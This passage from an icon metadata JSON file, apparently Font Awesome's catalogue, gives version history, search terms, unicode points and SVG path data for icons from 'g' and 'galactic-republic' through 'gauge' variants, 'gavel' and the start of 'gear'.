        "path": "M435.4 361.3l-89.7-6c-5.2-.3-10.3 1.1-14.5 4.2s-7.2 7.4-8.4 12.5l-22 87.2c-14.4 3.2-29.4 4.8-44.8 4.8s-30.3-1.7-44.8-4.8l-22-87.2c-1.3-5-4.3-9.4-8.4-12.5s-9.3-4.5-14.5-4.2l-89.7 6C61.7 335.9 51.9 307 49 276.2L125 228.3c4.4-2.8 7.6-7 9.2-11.9s1.4-10.2-.5-15L100.4 118c19.9-22.4 44.6-40.5 72.4-52.7l69.1 57.6c4 3.3 9 5.1 14.1 5.1s10.2-1.8 14.1-5.1l69.1-57.6c27.8 12.2 52.5 30.3 72.4 52.7l-33.4 83.4c-1.9 4.8-2.1 10.1-.5 15s4.9 9.1 9.2 11.9L463 276.2c-3 30.8-12.7 59.7-27.6 85.1zM256 48l.9 0h-1.8l.9 0zM56.7 196.2c.9-3 1.9-6.1 2.9-9.1l-2.9 9.1zM132 423l3.8 2.7c-1.3-.9-2.5-1.8-3.8-2.7zm248.1-.1c-1.3 1-2.7 2-4 2.9l4-2.9zm75.2-226.6l-3-9.2c1.1 3 2.1 6.1 3 9.2zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm14.1-325.7c-8.4-6.1-19.8-6.1-28.2 0L194 221c-8.4 6.1-11.9 16.9-8.7 26.8l18.3 56.3c3.2 9.9 12.4 16.6 22.8 16.6h59.2c10.4 0 19.6-6.7 22.8-16.6l18.3-56.3c3.2-9.9-.3-20.7-8.7-26.8l-47.9-34.8z"
      }
    },
    "free": ["regular", "solid"]
  },
  "g": {
    "aliases": {
      "unicodes": {
        "composite": ["67"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter G", "Latin Small Letter G", "letter"]
    },
    "styles": ["solid"],
    "unicode": "47",
    "label": "G",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 96C135.6 96 64 167.6 64 256s71.6 160 160 160c77.4 0 142-55 156.8-128H256c-17.7 0-32-14.3-32-32s14.3-32 32-32H400c25.8 0 49.6 21.4 47.2 50.6C437.8 389.6 341.4 480 224 480C100.3 480 0 379.7 0 256S100.3 32 224 32c57.4 0 109.7 21.6 149.3 57c13.2 11.8 14.3 32 2.5 45.2s-32 14.3-45.2 2.5C302.3 111.4 265 96 224 96z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 96C135.6 96 64 167.6 64 256s71.6 160 160 160c77.4 0 142-55 156.8-128H256c-17.7 0-32-14.3-32-32s14.3-32 32-32H400c25.8 0 49.6 21.4 47.2 50.6C437.8 389.6 341.4 480 224 480C100.3 480 0 379.7 0 256S100.3 32 224 32c57.4 0 109.7 21.6 149.3 57c13.2 11.8 14.3 32 2.5 45.2s-32 14.3-45.2 2.5C302.3 111.4 265 96 224 96z"
      }
    },
    "free": ["solid"]
  },
  "galactic-republic": {
    "changes": ["5.0.12"],
    "ligatures": [],
    "search": {
      "terms": ["politics", "star wars"]
    },
    "styles": ["brands"],
    "unicode": "f50c",
    "label": "Galactic Republic",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 504C111.25 504 0 392.75 0 256S111.25 8 248 8s248 111.25 248 248-111.25 248-248 248zm0-479.47C120.37 24.53 16.53 128.37 16.53 256S120.37 487.47 248 487.47 479.47 383.63 479.47 256 375.63 24.53 248 24.53zm27.62 21.81v24.62a185.933 185.933 0 0 1 83.57 34.54l17.39-17.36c-28.75-22.06-63.3-36.89-100.96-41.8zm-55.37.07c-37.64 4.94-72.16 19.8-100.88 41.85l17.28 17.36h.08c24.07-17.84 52.55-30.06 83.52-34.67V46.41zm12.25 50.17v82.87c-10.04 2.03-19.42 5.94-27.67 11.42l-58.62-58.59-21.93 21.93 58.67 58.67c-5.47 8.23-9.45 17.59-11.47 27.62h-82.9v31h82.9c2.02 10.02 6.01 19.31 11.47 27.54l-58.67 58.69 21.93 21.93 58.62-58.62a77.873 77.873 0 0 0 27.67 11.47v82.9h31v-82.9c10.05-2.03 19.37-6.06 27.62-11.55l58.67 58.69 21.93-21.93-58.67-58.69c5.46-8.23 9.47-17.52 11.5-27.54h82.87v-31h-82.87c-2.02-10.02-6.03-19.38-11.5-27.62l58.67-58.67-21.93-21.93-58.67 58.67c-8.25-5.49-17.57-9.47-27.62-11.5V96.58h-31zm183.24 30.72l-17.36 17.36a186.337 186.337 0 0 1 34.67 83.67h24.62c-4.95-37.69-19.83-72.29-41.93-101.03zm-335.55.13c-22.06 28.72-36.91 63.26-41.85 100.91h24.65c4.6-30.96 16.76-59.45 34.59-83.52l-17.39-17.39zM38.34 283.67c4.92 37.64 19.75 72.18 41.8 100.9l17.36-17.39c-17.81-24.07-29.92-52.57-34.51-83.52H38.34zm394.7 0c-4.61 30.99-16.8 59.5-34.67 83.6l17.36 17.36c22.08-28.74 36.98-63.29 41.93-100.96h-24.62zM136.66 406.38l-17.36 17.36c28.73 22.09 63.3 36.98 100.96 41.93v-24.64c-30.99-4.63-59.53-16.79-83.6-34.65zm222.53.05c-24.09 17.84-52.58 30.08-83.57 34.67v24.57c37.67-4.92 72.21-19.79 100.96-41.85l-17.31-17.39h-.08z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 504C111.25 504 0 392.75 0 256S111.25 8 248 8s248 111.25 248 248-111.25 248-248 248zm0-479.47C120.37 24.53 16.53 128.37 16.53 256S120.37 487.47 248 487.47 479.47 383.63 479.47 256 375.63 24.53 248 24.53zm27.62 21.81v24.62a185.933 185.933 0 0 1 83.57 34.54l17.39-17.36c-28.75-22.06-63.3-36.89-100.96-41.8zm-55.37.07c-37.64 4.94-72.16 19.8-100.88 41.85l17.28 17.36h.08c24.07-17.84 52.55-30.06 83.52-34.67V46.41zm12.25 50.17v82.87c-10.04 2.03-19.42 5.94-27.67 11.42l-58.62-58.59-21.93 21.93 58.67 58.67c-5.47 8.23-9.45 17.59-11.47 27.62h-82.9v31h82.9c2.02 10.02 6.01 19.31 11.47 27.54l-58.67 58.69 21.93 21.93 58.62-58.62a77.873 77.873 0 0 0 27.67 11.47v82.9h31v-82.9c10.05-2.03 19.37-6.06 27.62-11.55l58.67 58.69 21.93-21.93-58.67-58.69c5.46-8.23 9.47-17.52 11.5-27.54h82.87v-31h-82.87c-2.02-10.02-6.03-19.38-11.5-27.62l58.67-58.67-21.93-21.93-58.67 58.67c-8.25-5.49-17.57-9.47-27.62-11.5V96.58h-31zm183.24 30.72l-17.36 17.36a186.337 186.337 0 0 1 34.67 83.67h24.62c-4.95-37.69-19.83-72.29-41.93-101.03zm-335.55.13c-22.06 28.72-36.91 63.26-41.85 100.91h24.65c4.6-30.96 16.76-59.45 34.59-83.52l-17.39-17.39zM38.34 283.67c4.92 37.64 19.75 72.18 41.8 100.9l17.36-17.39c-17.81-24.07-29.92-52.57-34.51-83.52H38.34zm394.7 0c-4.61 30.99-16.8 59.5-34.67 83.6l17.36 17.36c22.08-28.74 36.98-63.29 41.93-100.96h-24.62zM136.66 406.38l-17.36 17.36c28.73 22.09 63.3 36.98 100.96 41.93v-24.64c-30.99-4.63-59.53-16.79-83.6-34.65zm222.53.05c-24.09 17.84-52.58 30.08-83.57 34.67v24.57c37.67-4.92 72.21-19.79 100.96-41.85l-17.31-17.39h-.08z"
      }
    },
    "free": ["brands"]
  },
  "galactic-senate": {
    "changes": ["5.0.12"],
    "ligatures": [],
    "search": {
      "terms": ["star wars"]
    },
    "styles": ["brands"],
    "unicode": "f50d",
    "label": "Galactic Senate",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M249.86 33.48v26.07C236.28 80.17 226 168.14 225.39 274.9c11.74-15.62 19.13-33.33 19.13-48.24v-16.88c-.03-5.32.75-10.53 2.19-15.65.65-2.14 1.39-4.08 2.62-5.82 1.23-1.75 3.43-3.79 6.68-3.79 3.24 0 5.45 2.05 6.68 3.79 1.23 1.75 1.97 3.68 2.62 5.82 1.44 5.12 2.22 10.33 2.19 15.65v16.88c0 14.91 7.39 32.62 19.13 48.24-.63-106.76-10.91-194.73-24.49-215.35V33.48h-12.28zm-26.34 147.77c-9.52 2.15-18.7 5.19-27.46 9.08 8.9 16.12 9.76 32.64 1.71 37.29-8 4.62-21.85-4.23-31.36-19.82-11.58 8.79-21.88 19.32-30.56 31.09 14.73 9.62 22.89 22.92 18.32 30.66-4.54 7.7-20.03 7.14-35.47-.96-5.78 13.25-9.75 27.51-11.65 42.42 9.68.18 18.67 2.38 26.18 6.04 17.78-.3 32.77-1.96 40.49-4.22 5.55-26.35 23.02-48.23 46.32-59.51.73-25.55 1.88-49.67 3.48-72.07zm64.96 0c1.59 22.4 2.75 46.52 3.47 72.07 23.29 11.28 40.77 33.16 46.32 59.51 7.72 2.26 22.71 3.92 40.49 4.22 7.51-3.66 16.5-5.85 26.18-6.04-1.9-14.91-5.86-29.17-11.65-42.42-15.44 8.1-30.93 8.66-35.47.96-4.57-7.74 3.6-21.05 18.32-30.66-8.68-11.77-18.98-22.3-30.56-31.09-9.51 15.59-23.36 24.44-31.36 19.82-8.05-4.65-7.19-21.16 1.71-37.29a147.49 147.49 0 0 0-27.45-9.08zm-32.48 8.6c-3.23 0-5.86 8.81-6.09 19.93h-.05v16.88c0 41.42-49.01 95.04-93.49 95.04-52 0-122.75-1.45-156.37 29.17v2.51c9.42 17.12 20.58 33.17 33.18 47.97C45.7 380.26 84.77 360.4 141.2 360c45.68 1.02 79.03 20.33 90.76 40.87.01.01-.01.04 0 .05 7.67 2.14 15.85 3.23 24.04 3.21 8.19.02 16.37-1.07 24.04-3.21.01-.01-.01-.04 0-.05 11.74-20.54 45.08-39.85 90.76-40.87 56.43.39 95.49 20.26 108.02 41.35 12.6-14.8 23.76-30.86 33.18-47.97v-2.51c-33.61-30.62-104.37-29.17-156.37-29.17-44.48 0-93.49-53.62-93.49-95.04v-16.88h-.05c-.23-11.12-2.86-19.93-6.09-19.93zm0 96.59c22.42 0 40.6 18.18 40.6 40.6s-18.18 40.65-40.6 40.65-40.6-18.23-40.6-40.65c0-22.42 18.18-40.6 40.6-40.6zm0 7.64c-18.19 0-32.96 14.77-32.96 32.96S237.81 360 256 360s32.96-14.77 32.96-32.96-14.77-32.96-32.96-32.96zm0 6.14c14.81 0 26.82 12.01 26.82 26.82s-12.01 26.82-26.82 26.82-26.82-12.01-26.82-26.82 12.01-26.82 26.82-26.82zm-114.8 66.67c-10.19.07-21.6.36-30.5 1.66.43 4.42 1.51 18.63 7.11 29.76 9.11-2.56 18.36-3.9 27.62-3.9 41.28.94 71.48 34.35 78.26 74.47l.11 4.7c10.4 1.91 21.19 2.94 32.21 2.94 11.03 0 21.81-1.02 32.21-2.94l.11-4.7c6.78-40.12 36.98-73.53 78.26-74.47 9.26 0 18.51 1.34 27.62 3.9 5.6-11.13 6.68-25.34 7.11-29.76-8.9-1.3-20.32-1.58-30.5-1.66-18.76.42-35.19 4.17-48.61 9.67-12.54 16.03-29.16 30.03-49.58 33.07-.09.02-.17.04-.27.05-.05.01-.11.04-.16.05-5.24 1.07-10.63 1.6-16.19 1.6-5.55 0-10.95-.53-16.19-1.6-.05-.01-.11-.04-.16-.05-.1-.02-.17-.04-.27-.05-20.42-3.03-37.03-17.04-49.58-33.07-13.42-5.49-29.86-9.25-48.61-9.67z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M249.86 33.48v26.07C236.28 80.17 226 168.14 225.39 274.9c11.74-15.62 19.13-33.33 19.13-48.24v-16.88c-.03-5.32.75-10.53 2.19-15.65.65-2.14 1.39-4.08 2.62-5.82 1.23-1.75 3.43-3.79 6.68-3.79 3.24 0 5.45 2.05 6.68 3.79 1.23 1.75 1.97 3.68 2.62 5.82 1.44 5.12 2.22 10.33 2.19 15.65v16.88c0 14.91 7.39 32.62 19.13 48.24-.63-106.76-10.91-194.73-24.49-215.35V33.48h-12.28zm-26.34 147.77c-9.52 2.15-18.7 5.19-27.46 9.08 8.9 16.12 9.76 32.64 1.71 37.29-8 4.62-21.85-4.23-31.36-19.82-11.58 8.79-21.88 19.32-30.56 31.09 14.73 9.62 22.89 22.92 18.32 30.66-4.54 7.7-20.03 7.14-35.47-.96-5.78 13.25-9.75 27.51-11.65 42.42 9.68.18 18.67 2.38 26.18 6.04 17.78-.3 32.77-1.96 40.49-4.22 5.55-26.35 23.02-48.23 46.32-59.51.73-25.55 1.88-49.67 3.48-72.07zm64.96 0c1.59 22.4 2.75 46.52 3.47 72.07 23.29 11.28 40.77 33.16 46.32 59.51 7.72 2.26 22.71 3.92 40.49 4.22 7.51-3.66 16.5-5.85 26.18-6.04-1.9-14.91-5.86-29.17-11.65-42.42-15.44 8.1-30.93 8.66-35.47.96-4.57-7.74 3.6-21.05 18.32-30.66-8.68-11.77-18.98-22.3-30.56-31.09-9.51 15.59-23.36 24.44-31.36 19.82-8.05-4.65-7.19-21.16 1.71-37.29a147.49 147.49 0 0 0-27.45-9.08zm-32.48 8.6c-3.23 0-5.86 8.81-6.09 19.93h-.05v16.88c0 41.42-49.01 95.04-93.49 95.04-52 0-122.75-1.45-156.37 29.17v2.51c9.42 17.12 20.58 33.17 33.18 47.97C45.7 380.26 84.77 360.4 141.2 360c45.68 1.02 79.03 20.33 90.76 40.87.01.01-.01.04 0 .05 7.67 2.14 15.85 3.23 24.04 3.21 8.19.02 16.37-1.07 24.04-3.21.01-.01-.01-.04 0-.05 11.74-20.54 45.08-39.85 90.76-40.87 56.43.39 95.49 20.26 108.02 41.35 12.6-14.8 23.76-30.86 33.18-47.97v-2.51c-33.61-30.62-104.37-29.17-156.37-29.17-44.48 0-93.49-53.62-93.49-95.04v-16.88h-.05c-.23-11.12-2.86-19.93-6.09-19.93zm0 96.59c22.42 0 40.6 18.18 40.6 40.6s-18.18 40.65-40.6 40.65-40.6-18.23-40.6-40.65c0-22.42 18.18-40.6 40.6-40.6zm0 7.64c-18.19 0-32.96 14.77-32.96 32.96S237.81 360 256 360s32.96-14.77 32.96-32.96-14.77-32.96-32.96-32.96zm0 6.14c14.81 0 26.82 12.01 26.82 26.82s-12.01 26.82-26.82 26.82-26.82-12.01-26.82-26.82 12.01-26.82 26.82-26.82zm-114.8 66.67c-10.19.07-21.6.36-30.5 1.66.43 4.42 1.51 18.63 7.11 29.76 9.11-2.56 18.36-3.9 27.62-3.9 41.28.94 71.48 34.35 78.26 74.47l.11 4.7c10.4 1.91 21.19 2.94 32.21 2.94 11.03 0 21.81-1.02 32.21-2.94l.11-4.7c6.78-40.12 36.98-73.53 78.26-74.47 9.26 0 18.51 1.34 27.62 3.9 5.6-11.13 6.68-25.34 7.11-29.76-8.9-1.3-20.32-1.58-30.5-1.66-18.76.42-35.19 4.17-48.61 9.67-12.54 16.03-29.16 30.03-49.58 33.07-.09.02-.17.04-.27.05-.05.01-.11.04-.16.05-5.24 1.07-10.63 1.6-16.19 1.6-5.55 0-10.95-.53-16.19-1.6-.05-.01-.11-.04-.16-.05-.1-.02-.17-.04-.27-.05-20.42-3.03-37.03-17.04-49.58-33.07-13.42-5.49-29.86-9.25-48.61-9.67z"
      }
    },
    "free": ["brands"]
  },
  "gamepad": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f11b"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "arcade",
        "controller",
        "d-pad",
        "joystick",
        "video",
        "video game"
      ]
    },
    "styles": ["solid"],
    "unicode": "f11b",
    "label": "Gamepad",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 64C86 64 0 150 0 256S86 448 192 448H448c106 0 192-86 192-192s-86-192-192-192H192zM496 168a40 40 0 1 1 0 80 40 40 0 1 1 0-80zM392 304a40 40 0 1 1 80 0 40 40 0 1 1 -80 0zM168 200c0-13.3 10.7-24 24-24s24 10.7 24 24v32h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H216v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h32V200z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 64C86 64 0 150 0 256S86 448 192 448H448c106 0 192-86 192-192s-86-192-192-192H192zM496 168a40 40 0 1 1 0 80 40 40 0 1 1 0-80zM392 304a40 40 0 1 1 80 0 40 40 0 1 1 -80 0zM168 200c0-13.3 10.7-24 24-24s24 10.7 24 24v32h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H216v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h32V200z"
      }
    },
    "free": ["solid"]
  },
  "gas-pump": {
    "aliases": {
      "unicodes": {
        "composite": ["26fd"],
        "secondary": ["10f52f"]
      }
    },
    "changes": [
      "5.0.13",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "car",
        "diesel",
        "fuel",
        "fuel pump",
        "fuelpump",
        "gas",
        "gasoline",
        "petrol",
        "pump",
        "station"
      ]
    },
    "styles": ["solid"],
    "unicode": "f52f",
    "label": "Gas Pump",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 64C32 28.7 60.7 0 96 0H256c35.3 0 64 28.7 64 64V256h8c48.6 0 88 39.4 88 88v32c0 13.3 10.7 24 24 24s24-10.7 24-24V222c-27.6-7.1-48-32.2-48-62V96L384 64c-8.8-8.8-8.8-23.2 0-32s23.2-8.8 32 0l77.3 77.3c12 12 18.7 28.3 18.7 45.3V168v24 32V376c0 39.8-32.2 72-72 72s-72-32.2-72-72V344c0-22.1-17.9-40-40-40h-8V448c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32V64zM96 80v96c0 8.8 7.2 16 16 16H240c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16H112c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 64C32 28.7 60.7 0 96 0H256c35.3 0 64 28.7 64 64V256h8c48.6 0 88 39.4 88 88v32c0 13.3 10.7 24 24 24s24-10.7 24-24V222c-27.6-7.1-48-32.2-48-62V96L384 64c-8.8-8.8-8.8-23.2 0-32s23.2-8.8 32 0l77.3 77.3c12 12 18.7 28.3 18.7 45.3V168v24 32V376c0 39.8-32.2 72-72 72s-72-32.2-72-72V344c0-22.1-17.9-40-40-40h-8V448c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32V64zM96 80v96c0 8.8 7.2 16 16 16H240c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16H112c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "gauge": {
    "aliases": {
      "names": ["dashboard", "gauge-med", "tachometer-alt-average"],
      "unicodes": {
        "secondary": ["10f624"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["dashboard", "fast", "odometer", "speed", "speedometer"]
    },
    "styles": ["solid"],
    "unicode": "f624",
    "label": "Gauge",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm320 96c0-26.9-16.5-49.9-40-59.3V88c0-13.3-10.7-24-24-24s-24 10.7-24 24V292.7c-23.5 9.5-40 32.5-40 59.3c0 35.3 28.7 64 64 64s64-28.7 64-64zM144 176a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm-16 80a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm288 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM400 144a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm320 96c0-26.9-16.5-49.9-40-59.3V88c0-13.3-10.7-24-24-24s-24 10.7-24 24V292.7c-23.5 9.5-40 32.5-40 59.3c0 35.3 28.7 64 64 64s64-28.7 64-64zM144 176a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm-16 80a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm288 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM400 144a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      }
    },
    "free": ["solid"]
  },
  "gauge-high": {
    "aliases": {
      "names": ["tachometer-alt", "tachometer-alt-fast"],
      "unicodes": {
        "composite": ["f3fd"],
        "primary": ["f3fd"],
        "secondary": ["10f3fd", "10f625"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["dashboard", "fast", "odometer", "speed", "speedometer"]
    },
    "styles": ["solid"],
    "unicode": "f625",
    "label": "Gauge High",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM288 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM256 416c35.3 0 64-28.7 64-64c0-17.4-6.9-33.1-18.1-44.6L366 161.7c5.3-12.1-.2-26.3-12.3-31.6s-26.3 .2-31.6 12.3L257.9 288c-.6 0-1.3 0-1.9 0c-35.3 0-64 28.7-64 64s28.7 64 64 64zM176 144a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM96 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm352-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM288 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM256 416c35.3 0 64-28.7 64-64c0-17.4-6.9-33.1-18.1-44.6L366 161.7c5.3-12.1-.2-26.3-12.3-31.6s-26.3 .2-31.6 12.3L257.9 288c-.6 0-1.3 0-1.9 0c-35.3 0-64 28.7-64 64s28.7 64 64 64zM176 144a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM96 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm352-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      }
    },
    "free": ["solid"]
  },
  "gauge-simple": {
    "aliases": {
      "names": ["gauge-simple-med", "tachometer-average"],
      "unicodes": {
        "secondary": ["10f629"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["dashboard", "fast", "odometer", "speed", "speedometer"]
    },
    "styles": ["solid"],
    "unicode": "f629",
    "label": "Gauge Simple",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm320 96c0-26.9-16.5-49.9-40-59.3V88c0-13.3-10.7-24-24-24s-24 10.7-24 24V292.7c-23.5 9.5-40 32.5-40 59.3c0 35.3 28.7 64 64 64s64-28.7 64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm320 96c0-26.9-16.5-49.9-40-59.3V88c0-13.3-10.7-24-24-24s-24 10.7-24 24V292.7c-23.5 9.5-40 32.5-40 59.3c0 35.3 28.7 64 64 64s64-28.7 64-64z"
      }
    },
    "free": ["solid"]
  },
  "gauge-simple-high": {
    "aliases": {
      "names": ["tachometer", "tachometer-fast"],
      "unicodes": {
        "composite": ["f0e4"],
        "primary": ["f0e4"],
        "secondary": ["10f0e4", "10f62a"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["dashboard", "fast", "odometer", "speed", "speedometer"]
    },
    "styles": ["solid"],
    "unicode": "f62a",
    "label": "Gauge Simple High",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm320 96c0-15.9-5.8-30.4-15.3-41.6l76.6-147.4c6.1-11.8 1.5-26.3-10.2-32.4s-26.2-1.5-32.4 10.2L262.1 288.3c-2-.2-4-.3-6.1-.3c-35.3 0-64 28.7-64 64s28.7 64 64 64s64-28.7 64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm320 96c0-15.9-5.8-30.4-15.3-41.6l76.6-147.4c6.1-11.8 1.5-26.3-10.2-32.4s-26.2-1.5-32.4 10.2L262.1 288.3c-2-.2-4-.3-6.1-.3c-35.3 0-64 28.7-64 64s28.7 64 64 64s64-28.7 64-64z"
      }
    },
    "free": ["solid"]
  },
  "gavel": {
    "aliases": {
      "names": ["legal"],
      "unicodes": {
        "secondary": ["10f0e3"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["hammer", "judge", "law", "lawyer", "opinion"]
    },
    "styles": ["solid"],
    "unicode": "f0e3",
    "label": "Gavel",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M318.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-120 120c-12.5 12.5-12.5 32.8 0 45.3l16 16c12.5 12.5 32.8 12.5 45.3 0l4-4L325.4 293.4l-4 4c-12.5 12.5-12.5 32.8 0 45.3l16 16c12.5 12.5 32.8 12.5 45.3 0l120-120c12.5-12.5 12.5-32.8 0-45.3l-16-16c-12.5-12.5-32.8-12.5-45.3 0l-4 4L330.6 74.6l4-4c12.5-12.5 12.5-32.8 0-45.3l-16-16zm-152 288c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l48 48c12.5 12.5 32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-1.4-1.4L272 285.3 226.7 240 168 298.7l-1.4-1.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M318.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-120 120c-12.5 12.5-12.5 32.8 0 45.3l16 16c12.5 12.5 32.8 12.5 45.3 0l4-4L325.4 293.4l-4 4c-12.5 12.5-12.5 32.8 0 45.3l16 16c12.5 12.5 32.8 12.5 45.3 0l120-120c12.5-12.5 12.5-32.8 0-45.3l-16-16c-12.5-12.5-32.8-12.5-45.3 0l-4 4L330.6 74.6l4-4c12.5-12.5 12.5-32.8 0-45.3l-16-16zm-152 288c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l48 48c12.5 12.5 32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-1.4-1.4L272 285.3 226.7 240 168 298.7l-1.4-1.4z"
      }
    },
    "free": ["solid"]
  },
  "gear": {
    "aliases": {
      "names": ["cog"],
      "unicodes": {
        "composite": ["2699"],
        "secondary": ["10f013"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cog",
        "cogwheel",
        "gear",
        "mechanical",
        "settings",
        "sprocket",
        "tool",
        "wheel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f013",
    "label": "Gear",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
